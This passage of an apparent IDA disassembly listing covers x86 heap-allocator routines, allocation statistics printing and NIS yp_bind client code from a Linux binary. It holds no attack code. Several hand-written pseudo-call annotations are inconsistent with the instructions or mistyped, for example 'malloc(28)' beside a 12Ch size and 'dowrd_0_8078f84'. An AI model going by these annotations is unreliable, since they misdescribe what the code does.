		add	edx, 0FFFFFFFCh
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Fh
		ja	short loc_0_805C873
		add	edx, ebx

loc_0_805C873:				; CODE XREF: sub_0_805C7DC+93j
		mov	ebx, edx
		sub	edx, esi
		mov	ecx, [esi]
		and	cl, 0FCh
		sub	ecx, edx
		test	byte ptr [esi],	2
		jz	short loc_0_805C894
		add	edx, [esi-4]
		mov	[ebx-4], edx
		or	cl, 2
		mov	[ebx], ecx
		lea	eax, [ebx+4]
		jmp	short loc_0_805C8E1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C894:				; CODE XREF: sub_0_805C7DC+A5j
		mov	eax, ecx
		or	al, 1
		mov	[ebx], eax
		or	byte ptr [ecx+ebx], 1
		mov	eax, [esi]
		and	eax, 1
		or	edx, eax
		mov	[esi], edx
		add	esi, 4
		mov	[ebp+var_4], esi
		call	free(esi)
		mov	esi, ebx

loc_0_805C8B8:				; CODE XREF: sub_0_805C7DC+70j
		mov	edx, [esi]
		and	dl, 0FCh
		sub	edx, edi
		cmp	edx, 0Fh
		jle	short loc_0_805C8DE
		lea	eax, [edi+esi]
		or	dl, 1
		mov	[eax], edx
		mov	edx, [esi]
		and	edx, 1
		or	edx, edi
		mov	[esi], edx
		call	free(eax+4)

loc_0_805C8DE:				; CODE XREF: sub_0_805C7DC+E6j
		lea	eax, [esi+4]

loc_0_805C8E1:				; CODE XREF: sub_0_805C7DC+1Aj
					; sub_0_805C7DC+53j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805C7DC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	1000h
		call	sub_0_805C7DC
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805C904	proc near		; CODE XREF: sub_0_8067094+16p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		call	malloc(arg_4*arg_0)
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_805C924
		xor	eax, eax
		jmp	short loc_0_805C93D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C924:				; CODE XREF: sub_0_805C904+18j
		test	byte ptr [ebx-4], 2
		jnz	short loc_0_805C93B
		mov	eax, [ebx-4]
		and	al, 0FCh
		call	memset(ebx,0,eax-4)

loc_0_805C93B:				; CODE XREF: sub_0_805C904+24j
		mov	eax, ebx

loc_0_805C93D:				; CODE XREF: sub_0_805C904+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805C904	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл


; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		test	eax, eax
		jnz	short loc_0_805CA04

loc_0_805C9FE:				; CODE XREF: .text:0805CA16j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805CA04:				; CODE XREF: .text:0805C9FCj
		lea	edx, [eax-4]
		test	byte ptr [eax-4], 2
		jnz	short loc_0_805CA18
		mov	eax, [eax-4]
		and	al, 0FEh
		test	byte ptr [eax+edx], 1
		jz	short loc_0_805C9FE

loc_0_805CA18:				; CODE XREF: .text:0805CA0Bj
		mov	eax, [edx]
		and	al, 0FCh
		add	eax, 0FFFFFFFCh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805CA24	proc near		; CODE XREF: .text:0805CBABp
					; .text:0805CC21p

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, dword_0_8078B38
		mov	ebx, [eax]
		and	bl, 0FCh
		cmp	ebx, 0Fh
		setnle	al
		movzx	ecx, al
		mov	esi, offset dword_0_8078B3C
		mov	[ebp+var_8], 8
		mov	edx, dword_0_8078B44
		cmp	edx, offset dword_0_8078B3C
		jz	short loc_0_805CA6A
		lea	esi, [esi]

loc_0_805CA5C:				; CODE XREF: sub_0_805CA24+44j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_0_805CA5C

loc_0_805CA6A:				; CODE XREF: sub_0_805CA24+34j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_0_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_0_805CA8E
		lea	esi, [esi]

loc_0_805CA80:				; CODE XREF: sub_0_805CA24+68j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_0_805CA80

loc_0_805CA8E:				; CODE XREF: sub_0_805CA24+58j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_0_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_0_805CAB2
		lea	esi, [esi]

loc_0_805CAA4:				; CODE XREF: sub_0_805CA24+8Cj
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_0_805CAA4

loc_0_805CAB2:				; CODE XREF: sub_0_805CA24+7Cj
		add	esi, 8
		add	[ebp+var_8], 8
		cmp	esi, offset off_0_8078F34
		jz	loc_0_805CB62
		mov	edi, [ebp+var_8]
		add	edi, offset dword_0_8078B3C
		mov	[ebp+var_4], edi
		lea	esi, [esi+0]

loc_0_805CAD4:				; CODE XREF: sub_0_805CA24+138j
		mov	edi, [ebp+var_4]
		mov	edx, [edi]
		cmp	edx, esi
		jz	short loc_0_805CAEE
		lea	esi, [esi+0]

loc_0_805CAE0:				; CODE XREF: sub_0_805CA24+C8j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_0_805CAE0

loc_0_805CAEE:				; CODE XREF: sub_0_805CA24+B7j
		lea	edi, [esi+8]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+8]
		cmp	[ebp+var_8], edx
		jz	short loc_0_805CB0F
		nop	

loc_0_805CB00:				; CODE XREF: sub_0_805CA24+E9j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_0_805CB00

loc_0_805CB0F:				; CODE XREF: sub_0_805CA24+D9j
		lea	edi, [esi+10h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+10h]
		cmp	[ebp+var_8], edx
		jz	short loc_0_805CB2F

loc_0_805CB20:				; CODE XREF: sub_0_805CA24+109j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_0_805CB20

loc_0_805CB2F:				; CODE XREF: sub_0_805CA24+FAj
		lea	edi, [esi+18h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+18h]
		cmp	[ebp+var_8], edx
		jz	short loc_0_805CB4F

loc_0_805CB40:				; CODE XREF: sub_0_805CA24+129j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_0_805CB40

loc_0_805CB4F:				; CODE XREF: sub_0_805CA24+11Aj
		add	esi, 20h
		add	[ebp+var_4], 20h
		cmp	esi, offset off_0_8078F34
		jnz	loc_0_805CAD4

loc_0_805CB62:				; CODE XREF: sub_0_805CA24+9Bj
		mov	dword_0_8078F5C, ecx
		mov	edi, dword_0_8078F58
		sub	edi, ebx
		mov	dword_0_8078F74, edi
		mov	dword_0_8078F78, ebx
		mov	eax, dword_0_8078F80
		mov	dword_0_8078F64, eax
		mov	eax, dword_0_8078F88
		mov	dword_0_8078F68, eax
		mov	eax, dword_0_8078B38
		mov	eax, [eax]
		and	al, 0FCh
		mov	dword_0_8078F7C, eax
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805CA24	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		call	sub_0_805CA24
		call	fprintf(unk_0_80787a4,'max system bytes = %10u\n',dword_0_78f54)
		call	fprintf(unk_0_80787a4,'system bytes    = %10u\n',dword_0_8078f88*2)
		call	fprintf(unk_0_80787a4,'in use bytes    = %10u\n',dword_8078f74+dword_0_8078f88)
		call	fprintf(unk_0_80787a4,'max mmap regions = %10u\n',dowrd_0_8078f84)
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		call	sub_0_805CA24
		mov	edi, ebx
		mov	esi, offset dword_0_8078F58
		cld	
		mov	ecx, 0Ah
		repe movsd
		mov	eax, ebx
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	edx, [ebp+0Ch]
		cmp	eax, 0FFFFFFFDh
		jz	short loc_0_805CC88
		jg	short loc_0_805CC5C
		cmp	eax, 0FFFFFFFCh
		jz	short loc_0_805CC98
		jmp	short loc_0_805CCA8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CC5C:				; CODE XREF: .text:0805CC52j
		cmp	eax, 0FFFFFFFEh
		jz	short loc_0_805CC78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_805CCA8
		mov	dword_0_8078F3C, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CC78:				; CODE XREF: .text:0805CC5Fj
		mov	dword_0_8078F40, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CC88:				; CODE XREF: .text:0805CC50j
		mov	dword_0_8078F48, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CC98:				; CODE XREF: .text:0805CC57j
		mov	dword_0_8078F44, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CCA8:				; CODE XREF: .text:0805CC59j
					; .text:0805CC64j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805CCB0	proc near		; CODE XREF: sub_0_805D3A8+225p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_10]
		lea	eax, [ebp+var_4]
		push	eax
		call	time
		mov	ebx, ds:dword_0_807E398
		add	esp, 4
		test	ebx, ebx
		jz	short loc_0_805CCEA
		lea	esi, [esi+0]

loc_0_805CCD8:				; CODE XREF: sub_0_805CCB0+34j
		mov	eax, [ebx+18h]
		cmp	[ebp+var_4], eax
		jg	short loc_0_805CCE6
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_0_805CCD8

loc_0_805CCE6:				; CODE XREF: sub_0_805CCB0+2Ej
		test	ebx, ebx
		jnz	short loc_0_805CD14

loc_0_805CCEA:				; CODE XREF: sub_0_805CCB0+23j
		call	malloc(28)
		mov	ebx, eax
		push	1Ch
		push	ebx
		call	sub_0_806626C
		add	esp, 0Ch
		cmp	ds:dword_0_807E398, 0
		jz	short loc_0_805CD0E
		mov	eax, ds:dword_0_807E398
		mov	[ebx], eax

loc_0_805CD0E:				; CODE XREF: sub_0_805CCB0+55j
		mov	ds:dword_0_807E398, ebx

loc_0_805CD14:				; CODE XREF: sub_0_805CCB0+38j
		cmp	dword ptr [ebx+8], 0
		jz	short loc_0_805CD26
		call	free([ebx+8]

loc_0_805CD26:				; CODE XREF: sub_0_805CCB0+68j
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_0_805CD38
		call	free([ebx+0Ch])

loc_0_805CD38:				; CODE XREF: sub_0_805CCB0+7Aj
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		call	malloc(arg_8)
		mov	[ebx+8], eax
		test	eax, eax
		jz	loc_0_805CDE3
		call	malloc(edi)
		mov	[ebx+0Ch], eax
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_0_805CD80
		push	0
		call	free(0)
		mov	dword ptr [ebx+8], 0
		jmp	short loc_0_805CDE3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CD80:				; CODE XREF: sub_0_805CCB0+BDj
		mov	edx, [ebp+arg_8]
		mov	[ebx+10h], edx
		mov	[ebx+14h], edi
		call	memmove2(arg_4,[ebx+8],[ebx+10h])
		call	memmove2(arg_C,[ebx+0Ch],[ebx+14h])
		add	esp, 18h
		cmp	dword ptr [ebx+4], 0
		jz	short loc_0_805CDCE
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805CDD7
		call	free([ebx+4])

loc_0_805CDCE:				; CODE XREF: sub_0_805CCB0+102j
		call	strdup(esi)
		mov	[ebx+4], eax

loc_0_805CDD7:				; CODE XREF: sub_0_805CCB0+113j
		mov	edx, [ebp+var_4]
		add	edx, ds:dword_0_8069038
		mov	[ebx+18h], edx

loc_0_805CDE3:				; CODE XREF: sub_0_805CCB0+A7j
					; sub_0_805CCB0+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805CCB0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805CDF0	proc near		; CODE XREF: sub_0_805D3A8+A1p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		cmp	ds:dword_0_807E398, 0
		jnz	short loc_0_805CE24
		jmp	short loc_0_805CE75
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CE0C:				; CODE XREF: sub_0_805CDF0+7Dj
		mov	eax, [ebx+0Ch]
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+arg_10]
		mov	[edx], eax
		mov	eax, 1
		jmp	short loc_0_805CE77
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CE24:				; CODE XREF: sub_0_805CDF0+16j
		call	time(var_4)
		mov	ebx, ds:dword_0_807E398
		test	ebx, ebx
		jz	short loc_0_805CE75
		lea	esi, [esi]

loc_0_805CE3C:				; CODE XREF: sub_0_805CDF0+83j
		cmp	[ebx+10h], esi
		jnz	short loc_0_805CE6F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_805CE6F
		call	bcmp([ebx+8],edi,esi)
		test	eax, eax
		jnz	short loc_0_805CE6F
		mov	eax, [ebp+var_4]
		cmp	[ebx+18h], eax
		jge	short loc_0_805CE0C

loc_0_805CE6F:				; CODE XREF: sub_0_805CDF0+4Fj
					; sub_0_805CDF0+63j ...
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_0_805CE3C

loc_0_805CE75:				; CODE XREF: sub_0_805CDF0+18j
					; sub_0_805CDF0+48j
		xor	eax, eax

loc_0_805CE77:				; CODE XREF: sub_0_805CDF0+31j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805CDF0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805CE84	proc near		; CODE XREF: sub_0_805D328+9p
					; sub_0_805D3A8+66p ...

var_45C		= byte ptr -45Ch
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43A		= byte ptr -43Ah
var_438		= byte ptr -438h
var_434		= dword	ptr -434h
var_430		= word ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 450h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_44C], 0
		call	getpid
		mov	[ebp+var_450], eax
		cmp	dword_0_8078F94, 0FFFFFFFFh
		jz	short loc_0_805CEF6
		cmp	dword_0_8078F94, eax
		jz	short loc_0_805CEF6
		mov	esi, ds:dword_0_807EB94
		test	esi, esi
		jz	short loc_0_805CEEC

loc_0_805CEC0:				; CODE XREF: sub_0_805CE84+66j
		cmp	dword ptr [esi+120h], 0
		jz	short loc_0_805CEDB
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_0_805CEDB:				; CODE XREF: sub_0_805CE84+43j
		mov	ebx, [esi]
		call	free(esi)
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_0_805CEC0

loc_0_805CEEC:				; CODE XREF: sub_0_805CE84+3Aj
		mov	ds:dword_0_807EB94, 0

loc_0_805CEF6:				; CODE XREF: sub_0_805CE84+28j
					; sub_0_805CE84+30j
		mov	edi, [ebp+var_450]
		mov	dword_0_8078F94, edi
		cmp	[ebp+arg_4], 0
		jz	short loc_0_805CF11
		mov	edi, [ebp+arg_4]
		mov	dword ptr [edi], 0

loc_0_805CF11:				; CODE XREF: sub_0_805CE84+82j
		cmp	[ebp+arg_0], 0
		jz	short loc_0_805CF29
		xor	al, al
		mov	edi, [ebp+arg_0]
		cld	
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFEh
		jnz	short loc_0_805CF34

loc_0_805CF29:				; CODE XREF: sub_0_805CE84+91j
		mov	eax, 1
		jmp	loc_0_805D2E6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805CF34:				; CODE XREF: sub_0_805CE84+A3j
		mov	esi, ds:dword_0_807EB94
		test	esi, esi
		jz	short loc_0_805CF5E
		lea	esi, [esi]

loc_0_805CF40:				; CODE XREF: sub_0_805CE84+D4j
		lea	edx, [esi+4]
		push	edx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_0_805CF5A
		mov	esi, [esi]
		test	esi, esi
		jnz	short loc_0_805CF40

loc_0_805CF5A:				; CODE XREF: sub_0_805CE84+CEj
		test	esi, esi
		jnz	short loc_0_805CF96

loc_0_805CF5E:				; CODE XREF: sub_0_805CE84+B8j
		call	malloc(28)
		mov	esi, eax
		push	12Ch
		push	esi
		call	sub_0_806626C
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		mov	dword ptr [esi+128h], 0
		mov	[ebp+var_44C], 1
		add	esp, 0Ch

loc_0_805CF96:				; CODE XREF: sub_0_805CE84+D8j
					; sub_0_805CE84+1B1j ...
		cmp	dword ptr [esi+128h], 0
		jnz	loc_0_805D084
		push	2
		mov	edi, [ebp+arg_0]
		call	sprintf(var_41c,aSS_D,aVarYpBinding,arg_0,2)
		call	open(ebx,O_RDONLY)
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_0_805D084
		lea	edi, [ebp+var_43A]
		mov	[ebp+var_42C], edi
		mov	[ebp+var_428], 2
		lea	edi, [ebp+var_438]
		mov	[ebp+var_424], edi
		mov	[ebp+var_420], 0Ch
		push	2
		lea	edx, [ebp+var_42C]
		push	edx
		push	ebx
		call	sub_0_8065E1C
		mov	edx, [ebp+var_428]
		add	edx, [ebp+var_420]
		add	esp, 0Ch
		cmp	eax, edx
		jz	short loc_0_805D03C
		call	close(ebx)
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		jmp	loc_0_805CF96
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D03C:				; CODE XREF: sub_0_805CE84+19Cj
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	sub_0_806626C
		mov	word ptr [esi+108h], 2
		mov	edx, [ebp+var_434]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_430]
		mov	[esi+10Ah], dx
		mov	[esi+118h], dx
		call	close(ebx)
		add	esp, 0Ch
		jmp	loc_0_805D1FD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D084:				; CODE XREF: sub_0_805CE84+119j
					; sub_0_805CE84+14Aj
		mov	edx, [esi+128h]
		inc	edx
		cmp	edx, 1
		ja	loc_0_805D217
		push	10h
		lea	ebx, [ebp+var_1C]
		push	ebx
		call	sub_0_806626C
		mov	[ebp+var_1C], 2
		add	esp, 8
		mov	[ebp+var_18], 100007Fh
		mov	[ebp+var_440], 0FFFFFFFFh
		push	0
		push	0
		lea	edx, [ebp+var_440]
		push	edx
		push	2
		push	186A7h
		push	ebx
		call	sub_0_8063B04
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jz	short loc_0_805D12B
		mov	edi, ds:dword_0_8069030
		mov	[ebp+var_448], edi
		mov	[ebp+var_444], 0
		mov	edx, [ebx+4]
		push	[ebp+var_444]
		push	[ebp+var_448]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset sub_0_8066800
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset sub_0_8066464
		push	1
		push	ebx
		mov	edx, [edx]
		call	edx
		add	esp, 20h
		test	eax, eax
		jz	short loc_0_805D144
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4

loc_0_805D12B:				; CODE XREF: sub_0_805CE84+254j
		cmp	[ebp+var_44C], 0
		jz	short loc_0_805D13A
		call	free(esi)

loc_0_805D13A:				; CODE XREF: sub_0_805CE84+2AEj
		mov	eax, 0Ah
		jmp	loc_0_805D2E6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805D144:				; CODE XREF: sub_0_805CE84+299j
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4
		cmp	[ebp+var_C], 1
		jz	short loc_0_805D1C4
		mov	edx, [ebp+var_8]
		cmp	edx, 2
		jz	short loc_0_805D178
		ja	short loc_0_805D168
		cmp	edx, 1
		jz	short loc_0_805D170
		jmp	short loc_0_805D198
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D168:				; CODE XREF: sub_0_805CE84+2DAj
		cmp	edx, 3
		jz	short loc_0_805D190
		jmp	short loc_0_805D198
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D170:				; CODE XREF: sub_0_805CE84+2DFj
		push	offset aYpbindproc_dom ; "YPBINDPROC_DOMAIN: Internal error\n"
		jmp	short loc_0_805D19D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D178:				; CODE XREF: sub_0_805CE84+2D8j
		call	fprintf(unk_0_80787a4,'YPBINDPROC_DOMAIN: No bound server for %d',arg_0) 
		jmp	short loc_0_805D1AA
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805D190:				; CODE XREF: sub_0_805CE84+2E7j
		push	offset aYpbindproc_d_1 ; "YPBINDPROC_DOMAIN: Resource allocation "...
		jmp	short loc_0_805D19D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D198:				; CODE XREF: sub_0_805CE84+2E1j
					; sub_0_805CE84+2E9j
		push	offset aYpbindproc_d_2 ; "YPBINDPROC_DOMAIN: Unknown error\n"

loc_0_805D19D:				; CODE XREF: sub_0_805CE84+2F1j
					; sub_0_805CE84+311j
		call	fprintf(unk_0_80787a4,...)

loc_0_805D1AA:				; CODE XREF: sub_0_805CE84+30Aj
		cmp	[ebp+var_44C], 0
		jz	short loc_0_805D1B9
		call	free(esi)

loc_0_805D1B9:				; CODE XREF: sub_0_805CE84+32Dj
		mov	eax, 3
		jmp	loc_0_805D2E6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805D1C4:				; CODE XREF: sub_0_805CE84+2D0j
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	sub_0_806626C
		mov	word ptr [esi+108h], 2
		mov	dx, [ebp+var_4]
